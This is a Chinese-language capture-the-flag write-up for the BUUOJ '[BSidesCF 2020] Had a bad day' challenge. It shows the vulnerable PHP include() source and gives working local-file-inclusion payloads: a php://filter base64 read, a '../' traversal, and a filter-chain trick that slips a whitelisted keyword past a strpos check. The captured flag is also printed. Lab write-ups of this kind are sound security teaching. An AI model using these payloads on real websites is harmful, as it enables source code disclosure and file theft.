zoukankan      html  css  js  c++  java
  • [BUUOJ记录] [BSidesCF 2020]Had a bad day

    主要考察文件包含以及php://filter伪协议的一个小trick。题目很简单,但是因为不知道这个trick卡了很久,记录一下

    进入题目看到有两个按钮,没有其他信息:

    点击按钮显示出来一张图片,然后发现URL变成了:

    http://0d01386f-60a4-4890-9723-b12f3a9eb35c.node3.buuoj.cn/index.php?category=woofers

    怀疑是SQL注入或者是文件包含,随便输入一个值返回了PHP报错:

     确定是文件包含漏洞,直接包含/flag发现包含不到,先用php://filter伪协议读一下index.php源码看看:

    php://filter/read=convert.base64-encode/resource=index

    (这里构造成php://filter/read=convert.base64-encode/resource=index.php是会报错的,因为后端给文件后拼接了“.php”)

    得到index.php源码:

    ......<以上HTML省略>
    <?php
      $file = $_GET['category'];
      
      if(isset($file))
      {
        if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){   //必须含有woofers或meowersindex字符串
          include ($file . '.php');  //参数后拼接.php
        }
        else{
          echo "Sorry, we currently only support woofers and meowers.";
        }
      }
    ?>
    ......<以下HTML省略>

    利用include函数特性包含一下flag.php文件试试:

    index.php?category=woofers/../flag

    发现源码中多出了一些东西,说明flag.php被包含了进去:

    接下来的问题就是如何读取到flag.php的源码。

    这里卡了好久,后来请教了几位师傅才知道php://filter伪协议可以套一层协议,就像:

    php://filter/read=convert.base64-encode/woofers/resource=index

    这样提交的参数既包含有woofers这个字符串,也不会影响正常的包含,得到Flag.php:

    解码得到Flag:

    <!-- Can you read this flag? -->
    <?php
     // flag{a4aaba40-84f9-4b7a-b269-d025b03676a1}
    ?>
  • 相关阅读:
    C# Socket编程
    C# Socket编程
    Android基础入门教程
    Android基础入门教程
    SQL Server查询事务
    SQL Server查询事务
    SQL事务用法begin tran,commit tran和rollback tran的用法
    SQL事务用法begin tran,commit tran和rollback tran的用法
    SQL Server Insert操作中的锁
    SQL Server Insert操作中的锁
  • 原文地址:https://www.cnblogs.com/yesec/p/12577515.html
Copyright © 2011-2022 走看看